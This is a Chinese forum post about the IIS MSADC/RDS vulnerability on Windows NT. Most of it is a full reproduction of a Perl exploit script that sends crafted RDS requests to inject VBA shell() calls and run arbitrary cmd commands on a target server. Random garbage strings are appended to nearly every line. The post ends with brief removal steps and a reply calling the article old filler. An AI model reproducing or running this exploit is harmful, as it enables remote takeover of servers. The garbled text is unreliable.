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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) MxX)&327  
[9 :9<#?o^  
涉及程序: iumwhb  
Microsoft NT server rB]2qk`/'  
Fz<1xyc(  
描述: wxJ"{(;  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 [hH>BEtm  
$gYGnh_,Q  
详细: dD39?K/  
如果你没有时间读详细内容的话,就删除: 8tjWVo  
c:\Program Files\Common Files\System\Msadc\msadcs.dll m*iSW]&  
有关的安全问题就没有了。 NPO!J^^  
EFI!b60mc  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 0<4'pO.6Hq  
p-(V2SP/)t  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 bYem0hzOe  
关于利用ODBC远程漏洞的描述,请参看: @C[p?ak  
#"TYk@whWf  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm jZmL7 V  
e&ZH 1^O  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 1TfFWlf[B  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp r7}KV| M  
GJE+sqMX1  
这里不再论述。 e8:O2!HW  
2{ l|<'  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: W;!V_-:  
3@O/#CP+  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset ~Hg*vCd ?  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! /5epDDP-t5  
@sZ' --Y  
T:K}mLSg  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 99'c\[fd'  
[K4 k7$  
#!perl 7tJ#0to  
# KdZ=g ZSH  
# MSADC/RDS 'usage' (aka exploit) script G eB-4img  
# K+L9cv4 |*  
# by rain.forest.puppy +G!# /u1  
# \0;w7tdo  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me /?Y4C)G  
# beta test and find errors! w&es N$2  
Mkt_pr  
use Socket; use Getopt::Std; %M8Q6  
getopts("e:vd:h:XR", \%args); #a|r ^%D  
o,J8n;"l  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; #^|2PFh5  
8~.8"gQ  
if (!defined $args{h} && !defined $args{R}) { |7Z}#eP//  
print qq~ IvQuxs&a  
Usage: msadc.pl -h <host> { -d <delay> -X -v } qyy .&+  
-h <host> = host you want to scan (ip or domain) g.;2N9  
-d <seconds> = delay between calls, default 1 second &F[N$6:v  
-X = dump Index Server path table, if available N(J#<;!yb  
-v = verbose wNFx1u^/)  
-e = external dictionary file for step 5 >XuPg(Ow  
}9z$72;Qdq  
Or a -R will resume a command session I`g&>  
Q=[ IO,f  
~; exit;} G'wW-|  
AhjCRYk+  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; g.8^ )u  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} =)iAU/*N  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} *YQXxIIq  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ;8e}X6YU  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} %g>k0~TRf#  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } vs$. i  
/9D mK%d  
if (!defined $args{R}){ $ret = &has_msadc; (&V*~OR  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} l;aO"_E1m  
)N3/;U;  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^K~=2^sh  
. "cmd /c "; `@6y Wb:X  
$in=<STDIN>; chomp $in; +>u 8r&Jw.  
$command="cmd /c " . $in ; td$RDtW[3  
C\{hN  
if (defined $args{R}) {&load; exit;} ^ rO}'~(  
E2.!|u2  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; $kR%G{j 4  
&try_btcustmr; 0R]'HA>  
||7x51-yj  
print "\nStep 2: Trying to make our own DSN..."; ,%V%g!6{  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; Y|/,*,u+  
,]9p&xu  
print "\nStep 3: Trying known DSNs..."; 4/S3hH  
&known_dsn; mmNn,>AO!  
pA@R,O>zr  
print "\nStep 4: Trying known .mdbs..."; rT4qx2u  
&known_mdb; 1[a#blL6W  
*9F{+)A  
if (defined $args{e}){ \qG` ts  
print "\nStep 5: Trying dictionary of DSN names..."; CA$|3m9)NM  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ose)\rM'  
8r0;054  
print "Sorry Charley...maybe next time?\n"; G/(tgQ  
exit; Ck/w:i@>?  
fP( n3Q  
############################################################################## R"F:(  
i{HzY[  
sub sendraw { # ripped and modded from whisker t""Y -M  
sleep($delay); # it's a DoS on the server! At least on mine... Nh4&3"g|  
my ($pstr)=@_; 2G:KaQ)  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || FiXE0ZI$0q  
die("Socket problems\n"); 'auYmX  
if(connect(S,pack "SnA4x8",2,80,$target)){ Yfz`or\@=  
select(S); $|=1; {p(6bsn_#]  
print $pstr; my @in=<S>; NVf_#p"h  
select(STDOUT); close(S); c47.,oTo  
return @in; dg(sRTi{  
} else { die("Can't connect...\n"); }} ^p%3@)&  
Mt~2&$>  
############################################################################## pYUQSsqC  
@zt"Y~9i  
sub make_header { # make the HTTP request |NFDrm  
my $msadc=<<EOT >pq=5Ha&  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 zx?|5=+!  
User-Agent: ACTIVEDATA cy2K#  
Host: $ip mGw*6kOIS  
Content-Length: $clen cj#.Oaeq*  
Connection: Keep-Alive S\k(0Sv9D  
fLkC|  
ADCClientVersion:01.06 ;_=dB[M  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 zItGoJu  
%wJ?+D/  
--!ADM!ROX!YOUR!WORLD! zmFKd5  
Content-Type: application/x-varg 3JF" O+@  
Content-Length: $reqlen UH5A;SrTqR  
O;(n[k  
EOT ~Hb0)M@y7  
; $msadc=~s/\n/\r\n/g; ZJjm r,1  
return $msadc;} JY D\VaW  
ZRa~miKyM  
############################################################################## _2}/rwVg  
_znn`_N:v  
sub make_req { # make the RDS request ,LU|WXRB  
my ($switch, $p1, $p2)=@_; k/Ao?R=@gI  
my $req=""; my $t1, $t2, $query, $dsn; Y5mk*Q#q  
D*wY,\  
if ($switch==1){ # this is the btcustmr.mdb query h{ EnS5~  
$query="Select * from Customers where City=" . make_shell(); %w3tzE1Hq  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 7U&<{U<  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} `]/0&S  
q-+_Y `_\  
elsif ($switch==2){ # this is general make table query j 4(f1  
$query="create table AZZ (B int, C varchar(10))"; VY!A]S"  
$dsn="$p1";} IfCa6g<&(  
0A75)T=lQ  
elsif ($switch==3){ # this is general exploit table query Bthp_cSmLs  
$query="select * from AZZ where C=" . make_shell(); =u5( zaBe  
$dsn="$p1";} 5J6~]J  
fQ2U |  
elsif ($switch==4){ # attempt to hork file info from index server  S^5Qhv  
$query="select path from scope()"; M(Yt9}Z%Y  
$dsn="Provider=MSIDXS;";} vH"^a/95|  
nc#} \  
elsif ($switch==5){ # bad query M&rbXi.  
$query="select"; lBG"COu  
$dsn="$p1";} Yjx4H  
xl(R|D))  
$t1= make_unicode($query); 'FG@Rg (  
$t2= make_unicode($dsn); `] Zil8n  
$req = "\x02\x00\x03\x00"; *!}bU`  
$req.= "\x08\x00" . pack ("S1", length($t1)); Xh*Nu HH  
$req.= "\x00\x00" . $t1 ; ;x u&%n[6@  
$req.= "\x08\x00" . pack ("S1", length($t2)); Uee$5a>(  
$req.= "\x00\x00" . $t2 ; zhI"++  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ~8lB#NuN  
return $req;} L5]uT`Twa  
% hRH80W|  
############################################################################## `k9a$@Xg  
)6U^!95  
sub make_shell { # this makes the shell() statement $ 3.Y2&$T  
return "'|shell(\"$command\")|'";} Y0o{@)Y:  
mk3,ke8  
############################################################################## 9H cxL  
ZBc8 ^QZ  
sub make_unicode { # quick little function to convert to unicode +,4u1`c|$  
my ($in)=@_; my $out; )JR&  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } =$< .:b  
return $out;} }I~)o!N%7  
R'B-$:u  
############################################################################## BIjkW.uf  
p!`S]\XEB  
sub rdo_success { # checks for RDO return success (this is kludge)  |u^~Z-.  
my (@in) = @_; my $base=content_start(@in); xGw|@d  
if($in[$base]=~/multipart\/mixed/){ `M,Gsy1h  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} >ti)m >f  
return 0;} (U|WP%IM'  
Ap<j;s4`  
############################################################################## 3'tq`t:SQ  
e,@5`aYHM@  
sub make_dsn { # this makes a DSN for us bxAHzOB(\  
my @drives=("c","d","e","f"); 7$JE+gL/7  
print "\nMaking DSN: "; {$_Gjv  
foreach $drive (@drives) { .oe\wJS6  
print "$drive: "; i[ n3ILn  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . }^*m0`H  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" xyi4U(;  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); -N1X=4/fg  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; {6>:= ?7]R  
return 0 if $2 eq "404"; # not found/doesn't exist  75T+6 u  
if($2 eq "200") { VP6_}9:9   
foreach $line (@results) { -b'/}zz  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} H:`H4 S}  
} return 0;} ?H21Ru>:*  
$gaGaB  
############################################################################## F Xp_`9.zH  
f.ws\^v%  
sub verify_exists { Z67'/z$0  
my ($page)=@_; nM H:7[x3  
my @results=sendraw("GET $page HTTP/1.0\n\n"); O?qM=W  
return $results[0];} 8AmB0W> e  
6JE_rAab  
############################################################################## xPP]RoPR  
tx}=c5  
sub try_btcustmr { 3q0S}<h al  
my @drives=("c","d","e","f"); #i-b|J+%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); U{8x.CJ]  
7m;<b$  
foreach $dir (@dirs) { lxtt+R  
print "$dir -> "; # fun status so you can see progress n@//d.T  
foreach $drive (@drives) { O|0,= 5  
print "$drive: "; # ditto X/A(8rvCr  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; dY.NQ1@"  
$reqlenlen=length( "$reqlen" ); mZL0<vU@^  
$clen= 206 + $reqlenlen + $reqlen; Ihx[S!:  
!+3nlG4cw  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); 6@ =ipPCR  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 5DVSaI$ =  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} zB#.EW  
2%~+c|TH.)  
############################################################################## sO8F0@%aH(  
4siq  
sub odbc_error { ryt`yO  
my (@in)=@_; my $base; _*u$U  
my $base = content_start(@in); $NwPGy?%  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this z v:o$2Z  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3U[:N &Jb  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 7G  3e  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; |:LklpdYe  
return $in[$base+4].$in[$base+5].$in[$base+6];} }syU(];s  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 3ZX#6*(}2  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . He  LW*  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} N=c{@h  
<y,c.\c!  
############################################################################## a]0hB:  
{R5_=MG  
sub verbose { lLNI5C  
my ($in)=@_; <O~ieJim  
return if !$verbose; saVX2j6Y  
print STDOUT "\n$in\n";} r/RX|M  
v=x)]<E" _  
############################################################################## XiAflO  
SBamgc  
sub save { :hDv^D?3  
my ($p1, $p2, $p3, $p4)=@_; (iY2d_FQ[  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; rnM C[  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; O5A]{ W  
close OUT;} U ]O>DM^'  
rh6 e  
############################################################################## gmtS3,  
K,@} 'N  
sub load { C@@PLsMg  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; !>6`+$=U  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); k~=P0";  
@p=<IN>; close(IN); Ny]]L  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 3PaMq6Ca  
$target= inet_aton($ip) || die("inet_aton problems"); {R7m qzt  
print "Resuming to $ip ..."; :qtg`zM/4  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; gyOAvx  
if($p[1]==1) { a#+;BH 1  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ez[$;>  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; |5\: E}1  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); *):s**BJ$  
if (rdo_success(@results)){print "Success!\n";} )C $1))  
else { print "failed\n"; verbose(odbc_error(@results));}} 1A N)%  
elsif ($p[1]==3){ @g1T??h   
if(run_query("$p[3]")){ kf_*=ER  
print "Success!\n";} else { print "failed\n"; }} 'F7UnkKO|  
elsif ($p[1]==4){ E{[>j'dwc  
if(run_query($drvst . "$p[3]")){ `i6q\-12n  
print "Success!\n"; } else { print "failed\n"; }} nC#SnyUO  
exit;} {"\pMY'7  
X^d}eWP`I  
############################################################################## _`xhP-,`S  
s~g]`/h$r  
sub create_table { U DHMNubB  
my ($in)=@_; G+K`FUNA  
$reqlen=length( make_req(2,$in,"") ) - 28; -8&P1jrI  
$reqlenlen=length( "$reqlen" ); c)SQ@B@q  
$clen= 206 + $reqlenlen + $reqlen; Q,R|VI6Co  
my @results=sendraw(make_header() . make_req(2,$in,"")); M&0U@ r-  
return 1 if rdo_success(@results); [m9=e-KS$Q  
my $temp= odbc_error(@results); verbose($temp); /B5rWJ2AS  
return 1 if $temp=~/Table 'AZZ' already exists/; +l>X Z  
return 0;} Q8NrbMrl  
fP{IW`t}]  
############################################################################## bl4I4RB  
$A>]lLo0  
sub known_dsn { K(_8oB784  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go Hx ojxZwm  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", @EUvx  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ?nD]p!  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); /@6T~XY M  
h{CyYsQ  
foreach $dSn (@dsns) { CA ,2&v"  
print "."; p}q]GJ  
next if (!is_access("DSN=$dSn")); vJuL+'[i  
if(create_table("DSN=$dSn")){  T_<:  
print "$dSn successful\n"; h]k1vp)Q y  
if(run_query("DSN=$dSn")){ ^6 \@$   
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Uk4G9}I  
print "Something's borked. Use verbose next time\n";}}} print "\n";} x6 h53R  
__ G=xf  
############################################################################## M(W-\ L  
2jyxP6t  
sub is_access { &P gk$e%>  
my ($in)=@_; R5fZ }C7  
$reqlen=length( make_req(5,$in,"") ) - 28; sb</-']a  
$reqlenlen=length( "$reqlen" ); Fc a_(jw  
$clen= 206 + $reqlenlen + $reqlen; |7b@w;q,D  
my @results=sendraw(make_header() . make_req(5,$in,"")); OdtS5:L  
my $temp= odbc_error(@results); gO kum_  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); b R9iqRbn  
return 0;} {\ogw0X  
]!cLFXa  
############################################################################## d>x(Bj6  
T@Th?  
sub run_query { BU=Ta$#BZ  
my ($in)=@_; qino:_g  
$reqlen=length( make_req(3,$in,"") ) - 28; Q$~_'I7~Mz  
$reqlenlen=length( "$reqlen" ); ?wMS[Kj  
$clen= 206 + $reqlenlen + $reqlen; +}NQ |y V  
my @results=sendraw(make_header() . make_req(3,$in,"")); zO3}c3D~q  
return 1 if rdo_success(@results); d&%}u1 .  
my $temp= odbc_error(@results); verbose($temp); X/23 /_~L`  
return 0;} &5 R-bYGW  
y_{v&AGmgm  
############################################################################## QE`u~  
> @q4Uez  
sub known_mdb { saR9_ ux  
my @drives=("c","d","e","f","g"); p i\SRDP  
my @dirs=("winnt","winnt35","winnt351","win","windows"); qj,^"rp1:  
my $dir, $drive, $mdb; sKDL=c;?j  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; It5n;,n  
zc!q a"4yM  
# this is sparse, because I don't know of many yz_xWx#9  
my @sysmdbs=( "\\catroot\\icatalog.mdb", jW]Fx:mQi  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", P.O/ZW>g  
"\\system32\\certmdb.mdb", }K9Ji]tOK:  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 7OLchf  
8V+  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", z A@w[.  
"\\cfusion\\cfapps\\forums\\forums_.mdb", dt(Lp_&v  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", #YB3Ug]z  
"\\cfusion\\cfapps\\security\\realm_.mdb", l#|M.V6G  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", TJkWL2r0c  
"\\cfusion\\database\\cfexamples.mdb", YG>6;g)Zm  
"\\cfusion\\database\\cfsnippets.mdb", 0<]]q[pr  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 6('xIE(R  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", l7uEUMV  
"\\cfusion\\brighttiger\\database\\cleam.mdb", eLk:">kj  
"\\cfusion\\database\\smpolicy.mdb", }~! D]/B  
"\\cfusion\\database\cypress.mdb", vf['$um  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", K2-nP2Go?  
"\\website\\cgi-win\\dbsample.mdb", ". wG~H  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", TXfG@4~kC  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" RH&}'4JE:  
); #these are just BmCBC,j<v>  
foreach $drive (@drives) { qim|=  
foreach $dir (@dirs){ 5S&^mj-9  
foreach $mdb (@sysmdbs) { uN(N2m  
print "."; a>Xq   
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ SW=%>XKkh  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; kI/%|L%6D  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ FO?I}G22  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; <u2iXH5w  
} else { print "Something's borked. Use verbose next time\n"; }}}}} "Kf4v|6;  
Q&?B^[N*Q  
foreach $drive (@drives) { GlaZZ,   
foreach $mdb (@mdbs) { #oEq)Vq>g|  
print "."; bk4G+wGw  
if(create_table($drv . $drive . $dir . $mdb)){ ~)]n67Or~  
print "\n" . $drive . $dir . $mdb . " successful\n"; H]>7IhJ  
if(run_query($drv . $drive . $dir . $mdb)){ e[t1V/ah  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; EtA,ow  
} else { print "Something's borked. Use verbose next time\n"; }}}} u|\K kk  
} @1)C3(=A  
7kQ,D,c'  
############################################################################## 8Tm/gzx  
mcSZ1d~,(  
sub hork_idx { gBE1a w;  
print "\nAttempting to dump Index Server tables...\n"; <& =3g/Y  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; gYfOa`k  
$reqlen=length( make_req(4,"","") ) - 28; ^uIKwql  
$reqlenlen=length( "$reqlen" ); 73(5.'F  
$clen= 206 + $reqlenlen + $reqlen; BaE}|4  
my @results=sendraw2(make_header() . make_req(4,"","")); SRc|9W5t*J  
if (rdo_success(@results)){ @RLlkWGc  
my $max=@results; my $c; my %d; <F+9#-  
for($c=19; $c<$max; $c++){ Vvk \ $'  
$results[$c]=~s/\x00//g; j'&a)-Wx_  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; bv'Z~@<c  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; sys;Rz2  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; mNr<=Z%b  
$d{"$1$2"}="";} t[x[X4  
foreach $c (keys %d){ print "$c\n"; } ceNJXK  
} else {print "Index server doesn't seem to be installed.\n"; }} QlWkK.<Z3_  
JL&ni]m  
############################################################################## 'pl){aL`@u  
4t0-L]v4.*  
sub dsn_dict { $ iU~p  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ;q" ,Bs  
while(<IN>){ > V%3w7  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; vX"jL  
next if (!is_access("DSN=$dSn")); gj1l9>f>]a  
if(create_table("DSN=$dSn")){ 1A/li%  
print "$dSn successful\n"; D[CEg2$y  
if(run_query("DSN=$dSn")){ ]e]hA@4  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _D."KU|  
print "Something's borked. Use verbose next time\n";}}} ;#6j9M0  
print "\n"; close(IN);} w0$l3^}z  
X>VxE/  
############################################################################## K2t|d[r  
k0!D9tk  
sub sendraw2 { # ripped and modded from whisker *(]@T@yN  
sleep($delay); # it's a DoS on the server! At least on mine... wvg>SfV,e  
my ($pstr)=@_; S:xG:[N@  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || %'<m[wf^ o  
die("Socket problems\n"); kNTxYJ  
if(connect(S,pack "SnA4x8",2,80,$target)){ R3} Z"  
print "Connected. Getting data"; aW#_"Y}v'  
open(OUT,">raw.out"); my @in; h*?/[XY  
select(S); $|=1; print $pstr; t^@4n&Dg  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} K9f7,/  
close(OUT); select(STDOUT); close(S); return @in; 6'vt '9  
} else { die("Can't connect...\n"); }} ^tFgkzXm  
YM]ZL,8  
############################################################################## NpF}~$2  
A49HYX-l  
sub content_start { # this will take in the server headers ' C|yUsBC  
my (@in)=@_; my $c; XW9 [VUW~  
for ($c=1;$c<500;$c++) { ' 8bT9  
if($in[$c] =~/^\x0d\x0a/){ $)Pmr1==  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } *`.4M)Ym~  
else { return $c+1; }}} LjA>H>8%[  
return -1;} # it should never get here actually h;sdm/  
7q,M2v;  
############################################################################## ~`x<;Ts  
h` $2/%?  
sub funky { @Xe[5T  
my (@in)=@_; my $error=odbc_error(@in); FR@## i$  
if($error=~/ADO could not find the specified provider/){ B~2\v%J  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; _Vxk4KjP5  
exit;} j=,]b6(  
if($error=~/A Handler is required/){ _"#ucM=B:-  
print "\nServer has custom handler filters (they most likely are patched)\n"; B#;yko  
exit;} _fQBXG2  
if($error=~/specified Handler has denied Access/){ ;'J{ylRQ  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9oA.!4q  
exit;}} 4`+hX'  
Oy/+uw^  
############################################################################## H Ql_ /:Wx  
#s'  
sub has_msadc { ,l_n:H+"F  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); -KG3_kE  
my $base=content_start(@results);  a7UfRG  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); )q+9_KU q  
return 0;} xkzC+ _A  
bbO1`b-  
########################  p%6j2;D  
-N[Q*;h|  
sw715"L  
解决方案: ?krgZ;Jj  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll I*^3 Z  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 s$ 2@|;  
X4R+Frt8  
拿出来充数 哈哈
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